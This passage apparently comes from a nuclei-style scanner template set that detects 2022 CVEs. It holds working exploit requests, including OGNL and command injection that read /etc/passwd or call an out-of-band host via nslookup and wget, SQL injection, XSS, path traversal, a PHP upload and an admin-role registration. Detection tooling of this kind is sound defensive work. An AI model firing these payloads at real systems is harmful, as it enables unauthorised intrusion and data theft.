Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/","{{BaseURL}}/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20{{interactsh-url}}%22%29%7D/"],"stop-at-first-match":true,"req-condition":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["contains(to_lower(header_1), \"x-cmd-response:\")"]},{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")","contains(to_lower(response_2), \"confluence\")"],"condition":"and"}],"extractors":[{"type":"kval","kval":["x_cmd_response"],"part":"header"}]}]},{"id":"CVE-2022-31845","info":{"name":"WAVLINK WN535 G3 - Information Disclosure","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /live_check.shtml HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["Model=","FW_Version=","LanIP="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-27926","info":{"name":"Zimbra Collaboration (ZCS) - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>Title???"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-31983","info":{"name":"Online Fire Reporting System v1.0 - SQL injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/?page=requests/manage_request&id=1'+AND+(SELECT+7774+FROM+(SELECT(SLEEP(6)))dPPt)+AND+'rogN'='rogN"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"Request Detail\")"],"condition":"and"}]}]},{"id":"CVE-2022-45805","info":{"name":"WordPress Paytm Payment Gateway <=2.7.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 15s\nGET /wp-admin/post.php?post=1+AND+(SELECT+6205+FROM+(SELECT(SLEEP(6)))RtRs)&action=edit HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(body_2, \"toplevel_page_paytm\")"],"condition":"and"}]}]},{"id":"CVE-2022-31126","info":{"name":"Roxy-WI <6.1.1.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /app/options.py HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nOrigin: {{BaseURL}}\nReferer: {{BaseURL}}/app/login.py\n\nalert_consumer=1&serv=127.0.0.1&ipbackend=\";cat+/etc/passwd+##&backend_server=127.0.0.1\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38870","info":{"name":"Free5gc 3.2.1 - Information Disclosure","severity":"high"},"requests":[{"raw":["GET /api/subscriber HTTP/1.1\nHost: {{Hostname}}\nToken: admin\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"plmnID\":","\"ueId\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0948","info":{"name":"WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /?rest_route=/olistener/new HTTP/1.1\nHost: {{Hostname}}\ncontent-type: application/json\n\n{\"id\":\" (SLEEP(6))#\"}\n","GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(content_type_1, \"application/json\")","contains(body_2, \"olistener-action.olistener-controller\")"],"condition":"and"}]}]},{"id":"CVE-2022-46934","info":{"name":"kkFileView 4.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"],"matchers-condition":"and","matchers":[{"type":"word","words":["document.getElementById(\"http://\");alert(document.domain);//\").click();","viewer.min.css"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-22536","info":{"name":"SAP Memory Pipes (MPI) Desynchronization","severity":"critical"},"requests":[{"raw":["GET {{sap_path}} HTTP/1.1\nHost: {{Hostname}}\nContent-Length: 82646\nConnection: keep-alive\n\n{{repeat(\"A\", 82642)}}\n\nGET / HTTP/1.1\nHost: {{Hostname}}\n\n"],"payloads":{"sap_path":["/sap/admin/public/default.html","/sap/public/bc/ur/Login/assets/corbu/sap_logo.png"]},"stop-at-first-match":true,"unsafe":true,"read-all":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(tolower(body), 'administration')","contains(tolower(header), 'content-type: image/png')"],"condition":"or"},{"type":"word","part":"body","words":["HTTP/1.0 400 Bad Request","HTTP/1.0 500 Internal Server Error","HTTP/1.0 500 Dispatching Error"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34049","info":{"name":"WAVLINK WN530HG4 - Improper Access Control","severity":"medium"},"requests":[{"raw":["GET /cgi-bin/ExportLogs.sh HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Login","Password"],"condition":"and"},{"type":"word","part":"header","words":["filename=\"sysLogs.txt\""]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-29301","info":{"name":"SolarView Compact 6.00 - 'pow' Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script><\"\">","SolarView"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-46888","info":{"name":"NexusPHP <1.7.33 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login.php?secret=\"><script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\"><script>alert(document.domain)</script>\">","NexusPHP"],"case-insensitive":true,"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38463","info":{"name":"ServiceNow - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["top.location.href = 'javascript:alert(document.domain)';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1946","info":{"name":"WordPress Gallery <2.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-45038","info":{"name":"WBCE CMS v1.5.4 -  Cross Site Scripting (Stored)","severity":"medium"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/settings/ HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/settings/save.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadvanced=no&formtoken={{formtoken}}&website_footer=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_trash=inline&home_folders=true&intro_page=false&frontend_login=false&frontend_signup=false&submit=&default_language=EN&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&wbmailer_default_sendername=WBCE+CMS+Mailer&wbmailer_routine=phpmail&wbmailer_smtp_host=&wbmailer_smtp_port=&wbmailer_smtp_secure=&wbmailer_smtp_username=&wbmailer_smtp_password=\n","GET /search/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","Results For"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"app_name","group":1,"regex":["name=\"app_name\" value=\"(.*?)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-4060","info":{"name":"WordPress User Post Gallery <=2.19 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:head+-1+/etc/passwd:NULL:NULL"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","part":"body","words":["recordsFiltered"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23944","info":{"name":"Apache ShenYu Admin Unauth Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugin"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"message\":\"query success\"","\"code\":200"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1013","info":{"name":"WordPress Personal Dictionary <1.3.4 - Blind SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 30s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=ays_pd_ajax&function=ays_pd_game_find_word&groupsIds[]=1)+AND+(SELECT+3066+FROM+(SELECT(SLEEP(5)))CEHy)--+-\n"],"matchers":[{"type":"dsl","dsl":["duration>=5","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"\\\"status\\\":true,\")"],"condition":"and"}]}]},{"id":"CVE-2022-24816","info":{"name":"GeoServer <1.2.2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /geoserver/wms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n  <wps:Execute version=\"1.0.0\" service=\"WPS\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://www.opengis.net/wps/1.0.0\" xmlns:wfs=\"http://www.opengis.net/wfs\" xmlns:wps=\"http://www.opengis.net/wps/1.0.0\" xmlns:ows=\"http://www.opengis.net/ows/1.1\" xmlns:gml=\"http://www.opengis.net/gml\" xmlns:ogc=\"http://www.opengis.net/ogc\" xmlns:wcs=\"http://www.opengis.net/wcs/1.1.1\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" xsi:schemaLocation=\"http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd\">\n    <ows:Identifier>ras:Jiffle</ows:Identifier>\n    <wps:DataInputs>\n      <wps:Input>\n        <ows:Identifier>coverage</ows:Identifier>\n        <wps:Data>\n          <wps:ComplexData mimeType=\"application/arcgrid\"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999  316]]></wps:ComplexData>\n        </wps:Data>\n      </wps:Input>\n      <wps:Input>\n        <ows:Identifier>script</ows:Identifier>\n        <wps:Data>\n          <wps:LiteralData>dest = y() - (500); // */ public class Double {    public static double NaN = 0;  static { try {  java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream())); String line = null; String allLines = \" - \"; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>\n        </wps:Data>\n      </wps:Input>\n      <wps:Input>\n        <ows:Identifier>outputType</ows:Identifier>\n        <wps:Data>\n          <wps:LiteralData>DOUBLE</wps:LiteralData>\n        </wps:Data>\n      </wps:Input>\n    </wps:DataInputs>\n    <wps:ResponseForm>\n      <wps:RawDataOutput mimeType=\"image/tiff\">\n        <ows:Identifier>result</ows:Identifier>\n      </wps:RawDataOutput>\n    </wps:ResponseForm>\n  </wps:Execute>\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","ExceptionInInitializerError"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40881","info":{"name":"SolarView 6.00 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /network_test.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nhost=%0a{{cmd}}%0a&command=ping\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28290","info":{"name":"WordPress Country Selector <1.6.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncountry=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&lang=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E&site_locate=en-US\n"],"cookie-reuse":true,"skip-variables-check":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<img src=x onerror=alert(document.domain)>","country_selector_"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1952","info":{"name":"WordPress eaSYNC Booking <1.1.16 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nCookie: PHPSESSID=a0d5959357e474aef655313f69891f37\nContent-Type: multipart/form-data; boundary=------------------------98efee55508c5059\n\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"action\"\n\neasync_session_store\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"type\"\n\ncar\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"with_driver\"\n\nself-driven\n--------------------------98efee55508c5059\nContent-Disposition: form-data; name=\"driver_license_image2\"; filename=\"{{randstr}}.php\"\nContent-Type: application/octet-stream\n\n<?php echo md5('CVE-2022-1952');?>\n\n--------------------------98efee55508c5059--\n","GET /wp-admin/admin-ajax.php?action=easync_success_and_save HTTP/1.1\nHost: {{Hostname}}\nCookie: PHPSESSID=a0d5959357e474aef655313f69891f37\n","GET /wp-content/uploads/{{filename}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_1, 'success\\\":true')","contains(body_3, 'e0d7fcf2c9f63143b6278a3e40f6bea9')"],"condition":"and"}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["wp-content\\\\\\/uploads\\\\\\/([0-9a-zA-Z]+).php"],"internal":true}]}]},{"id":"CVE-2022-29005","info":{"name":"Online Birth Certificate System 1.2 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /obcs/user/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nmobno={{username}}&password={{password}}&login=\n","POST /obcs/user/profile.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nfname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=\n","GET /obcs/user/dashboard.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, 'admin-name\\\">{{str}}<script>alert(document.domain);</script>')"],"condition":"and"}]}]},{"id":"CVE-2022-0441","info":{"name":"MasterStudy LMS <2.7.6 - Improper Access Control","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/json\n\n{\"user_login\":\"{{username}}\",\"user_email\":\"{{user_email}}\",\"user_password\":\"{{password}}\",\"user_password_re\":\"{{password}}\",\"become_instructor\":\"\",\"privacy_policy\":true,\"degree\":\"\",\"expertize\":\"\",\"auditory\":\"\",\"additional\":[],\"additional_instructors\":[],\"profile_default_fields_for_register\":{\"wp_capabilities\":{\"value\":{\"administrator\":1}}}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Registration completed successfully","\"status\":\"success\""],"condition":"and"},{"type":"word","part":"header_2","words":["application/json;"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["\"stm_lms_register\":\"([0-9a-z]+)\""],"internal":true},{"type":"kval","kval":["user_email","password"]}]}]},{"id":"CVE-2022-31299","info":{"name":"Haraj 3.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["><script>alert(document.domain)</script></textarea>","content=\"nextHaraj"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23854","info":{"name":"AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini"],"matchers-condition":"and","matchers":[{"type":"word","words":["for 16-bit app support","extensions"],"condition":"and"},{"type":"word","part":"header","words":["EricomSecureGateway"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28117","info":{"name":"Navigate CMS 2.9.4 - Server-Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /navigate/login.php HTTP/1.1\nHost: {{Hostname}}\n","POST /navigate/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------123456789012345678901234567890\n\n-----------------------------123456789012345678901234567890\nContent-Disposition: form-data; name=\"login-username\"\n\n{{username}}\n-----------------------------123456789012345678901234567890\nContent-Disposition: form-data; name=\"csrf_token\"\n\n{{csrf_token}}\n-----------------------------123456789012345678901234567890\nContent-Disposition: form-data; name=\"login-password\"\n\n{{password}}\n-----------------------------123456789012345678901234567890\n","POST /navigate/navigate.php?fid=dashboard&act=json&oper=feed HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nlimit=5&language=en&url=file:///etc/passwd\n","GET /navigate/private/1/cache/0f1726ba83325848d47e216b29d5ab99.feed HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"csrf_token","group":1,"regex":["csrf_token\" value=\"([a-f0-9]{64})"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-42748","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting.","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<script>alert(document.domain)</script>","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-2488","info":{"name":"Wavlink WN535K2/WN535K3 - OS Command Injection","severity":"critical"},"requests":[{"raw":["GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-23347","info":{"name":"BigAnt Server v5.6.06 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3800","info":{"name":"IBAX - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 15s\nPOST /api/v2/open/rowsInfo HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\norder=1&table_name=pg_user\"%3b+select+pg_sleep(6)%3b+--\"&limit=1&page=1\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"usesysid\")"],"condition":"and"}]}]},{"id":"CVE-2022-23102","info":{"name":"SINEMA Remote Connect Server < V2.0 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1\nHost: {{Hostname}}\n","POST /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: csrftoken={{csrf}};\nReferer: {{RootURL}}/wbm/login/?next=https%3A%2F%2Finteract.sh\n\ncsrfmiddlewaretoken={{csrf}}&utcoffset=330&username={{username}}&password={{password}}\n"],"matchers":[{"type":"regex","part":"header_2","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}],"extractors":[{"type":"regex","name":"csrf","part":"body","group":1,"regex":["name='csrfmiddlewaretoken' value='(.*)' />"],"internal":true}]}]},{"id":"CVE-2022-30776","info":{"name":"Atmail 6.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Error: 1<script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34753","info":{"name":"SpaceLogic C-Bus Home Controller <=1.31.460 - Remote Command Execution","severity":"high"},"requests":[{"raw":["GET /delsnap.pl?name=|id HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic {{base64('{{username}}:' + '{{password}}')}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2185","info":{"name":"GitLab CE/EE - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/users/sign_in"],"redirects":true,"max-redirects":3,"matchers":[{"type":"word","words":["003236d7e2c5f1f035dc8b67026d7583ee198b568932acd8faeac18cec673dfa","1062bbba2e9b04e360569154a8df8705a75d9e17de1a3a9acd5bd20f000fec8b","1832611738f1e31dd00a8293bbf90fce9811b3eea5b21798a63890dbc51769c8","1ae98447c220181b7bd2dfe88018cb6e1b1e4d12d7b8c224d651a48ed2d95dfe","1d765038b21c5c76ff8492561c29984f3fa5c4b8cfb3a6c7b216ac8ab18b78c7","1d840f0c4634c8813d3056f26cbab7a685d544050360a611a9df0b42371f4d98","2ea7e9be931f24ebc2a67091b0f0ff95ba18e386f3d312545bb5caaac6c1a8be","301b60d2c71a595adfb65b22edee9023961c5190e1807f6db7c597675b0a61f0","383b8952f0627703ada7774dd42f3b901ea2e499fd556fce3ae0c6d604ad72b7","4f233d907f30a050ca7e40fbd91742d444d28e50691c51b742714df8181bf4e7","50d9206410f00bb00cc8f95865ab291c718e7a026e7fdc1fc9db0480586c4bc9","515dc29796a763b500d37ec0c765957a136c9e1f1972bb52c3d7edcf4b6b8bbe","57e83f1a3cf7c0fe3cf2357802306688dab60cf6a30d00e14e67826070db92de","5cd37ee959b5338b5fb48eafc6c7290ca1fa60e653292304102cc19a16cc25e4","5df2cb13ec314995ea43d698e888ddb240dbc7ccb6e635434dc8919eced3e25f","6a58066d1bde4b6e661fbd5bde83d2dd90615ab409b8c8c36e04954fbd923424","6eb5eaa5726150b8135a4fd09118cfd6b29f128586b7fa5019a04f1c740e9193","6fa9fec63ba24ec06fcae0ec30d1369619c2c3323fe9ddc4849af86457d59eef","739a920f5840de93f944ec86c5a181d0205f1d9e679a4df1b9bf5b0882ab848a","775f130d36e9eb14cb67c6a63551511b87f78944cebcf6cdddb78292030341df","7d0792b17e1d2ccac7c6820dda1b54020b294006d7867b7d78a05060220a0213","8b78708916f28aa9e54dacf9c9c08d720837ce78d8260c36c0f828612567d353","90abf7746df5cb82bca9949de6f512de7cb10bec97d3f5103299a9ce38d5b159","95ae8966ec1e6021f2553c7d275217fcfecd5a7f0b206151c5fb701beb7baf1e","a4333a9de660b9fc4d227403f57d46ec275d6a6349a6f5bda0c9557001f87e5d","a6d68fb0380bece011b0180b2926142630414c1d7a3e268fb461c51523b63778","a743f974bacea01ccc609dcb79247598bd2896f64377ce4a9f9d0333ab7b274e","a8bf3d1210afa873d9b9af583e944bdbf5ac7c8a63f6eccc3d6795802bd380d2","ba74062de4171df6109c4c96da1ebe2b538bb6cc7cd55867cbdfba44777700e1","c91127b2698c0a2ae0103be3accffe01995b8531bf1027ae4f0a8ad099e7a209","cfa6748598b5e507db0e53906a7639e2c197a53cb57da58b0a20ed087cc0b9d5","e539e07c389f60596c92b06467c735073788196fa51331255d66ff7afde5dfee","f8ba2470fbf1e30f2ce64d34705b8e6615ac964ea84163c8a6adaaf8a91f9eac","ff058b10a8dce9956247adba2e410a7f80010a236b2269fb53e0df5cd091e61d"],"condition":"or"}],"extractors":[{"type":"regex","group":1,"regex":["(?:application-)(\\S{64})(?:\\.css)"]}]}]},{"id":"CVE-2022-0150","info":{"name":"WordPress Accessibility Helper <0.6.0.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?wahi=JzthbGVydChkb2N1bWVudC5kb21haW4pOy8v"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["var wah_target_src = '';alert(document.domain);//';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32771","info":{"name":"WWBN AVideo 11.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?success=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["avideoAlertSuccess(\"</script><script>alert(document.cookie);</script>","text: \"</script><script>alert(document.cookie);</script>"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-21705","info":{"name":"October CMS -  Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /backend/backend/auth/signin HTTP/1.1\nHost: {{Hostname}}\n","POST /backend/backend/auth/signin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}}\n","POST /backend/cms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: 